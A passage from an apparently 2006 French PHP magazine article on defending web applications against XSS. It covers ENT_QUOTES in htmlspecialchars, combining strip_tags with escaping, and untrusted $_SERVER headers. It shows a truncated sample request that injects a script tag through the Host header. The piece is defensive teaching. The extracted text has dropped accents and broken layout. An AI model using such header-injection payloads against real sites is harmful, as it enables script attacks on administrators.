guillemets reprsente donc le nouvel attribut contenant le code JavaScript sous
forme de code ASCII qui se traduit en
alert(XSS); et directement excut par
la fonction eval().
Afin d'viter ce genre de problmes, il est important de toujours passer
ENT_QUOTES en deuxime paramtre
des fonctions htmlspecialchars() et
htmlentities(). Ce qui entranera le
codage des guillemets simples en entits
HTML reprsentatives de type, &#039;.
Une autre erreur de validation repose
uniquement sur la fonction strip_tags()
afin de scuriser les donnes d'entre
de l'utilisateur contre des scripts multisites. En dpit de l'extrme efficacit de
cette fonction supprimer les balises
HTML, elle ne fait rien pour les guillemets
simples ou doubles, permettant ainsi
l'injection d'attribut si les valeurs donnes
sont directement utilises. Une approche correcte consisterait activer tout
d'abord la fonction strip_tags(), puis de
la faire suivre de htmlspecialchars() ou
htmlentities() :
// squence de validation correcte
$text = htmlspecialchars(
strip_tags($_POST['msg']),
ENT_QUOTES);

Cette approche permet de vrifier que les


donnes d'entre valides sont bien protges contre une attaque, et peuvent donc

www.phpsolmag.org

tre stockes sans danger sur le disque


ou affiches sur l'cran.
Au moment de la validation, il est impratif de lancer cette mthode sur toutes
les donnes d'entre, quelle que soit leur
source. Une erreur rpandue consiste
ne filtrer que les donnes issues de requtes GET et POST et des cookies, en
oubliant de valider les donnes reues
des variables de l'environnement du
serveur Web, partir du super-global $_
SERVER. Nombreux sont les dveloppeurs
qui oublient que si les donnes trouves
sur leur site proviennent du serveur Web,
elles reposent souvent sur les contenus
fournis par l'utilisateur. En d'autres termes,
ce type de donnes est aussi dangereux
que celles issues directement de l'utilisateur. Ces valeurs sont souvent trouves
dans les panneaux de contrle administratifs lors de l'apparition d'une erreur, ce qui
les rend particulirement dangereuses.
Dans la mesure o l'utilisateur sujet ce
contenu modifi, bnficie souvent de privilges d'accs levs (comme l'administrateur). Il est possible d'invoquer, dans le
cas de ces attaques, la valeur HTTP_HOST,
contenant le nom du domaine accd sur
le moment. Cette valeur est cense sre.
Aprs tout, comment un pirate pourraitil modifier le domaine ? Pourtant, cette
valeur n'est pas si certaine : la valeur de
son en-tte repose en ralit sur l'en-tte
Host: fourni par l'utilisateur l'origine de la
requte. Si le site ainsi accd fonctionne
sur une adresse IP particulire ou si ce
site est le premier sur un IP virtuel, une
requte contenant une valeur corrompue
pour cet en-tte fonctionnera toujours sur
le serveur Web Apache. Il est en effet
possible de formuler une requte pour
une page d'un tel site, permettant ainsi
d'injecter des donnes arbitraires dans
HTTP_HOST :
GET / HTTP/1.0
Host: <script>...

Le

rsultat

est

le suivant : $_
est dsormais quivalent <script> ou ventuellement
une attaque encore plus dangereuse. Le
mme genre de piges peuvent tre appliqus sur d'autres en-ttes comme Via
(HTTP_VIA) et X-Forwarded-For (HTTP_X_
FORWARDED_FOR),normalement utiliss par
des serveurs mandataires pour indiquer
l'adresse de l'utilisateur derrire le serveur
mandataire. Au lieu d'une adresse IP ou
SERVER['HTTP_HOST']

PHP Solutions N 2/2006

XSS, CSRF

Projets

d'une liste d'adresses IP, le pirate peut


facilement injecter des donnes d'entre
arbitraire et gnrer l'excution de la
requte sans aucun problme, quel que
soit le logiciel de serveur Web utilis. Le
seul champ vritablement sr est peuttre REMOTE_ADDR o se trouve l'adresse
IP de l'utilisateur, puisqu'il est trait par le
serveur Web et contiendra une adresse
IP toujours valide. Tous les autres champs
devront tre valids avec prcaution avant
d'tre utiliss.

Conclusion

Cette succincte prsentation gnrale des


attaques de type XSS et CSRF a pour
objectif de sensibiliser les dveloppeurs
sur les dangers que posent ce genre
d'exploitations, en soulignant la ncessit
d'appliquer des mesures pour s'en prmunir. Nous avons dmontr, dans le cadre
du prsent article, combien il est facile de
dployer des mcanismes contre ce type
d'attaques. La scurit de votre serveur
est dsormais entre vos mains : si vous
appliquez les principes exposs dans cet
article lors de la rdaction de votre code,
vous pourrez diminuer le risque des accs
non-autoriss et empcher d'ventuelles
pertes. n

PHP Solutions N 2/2006

www.phpsolmag.org

Вам также может понравиться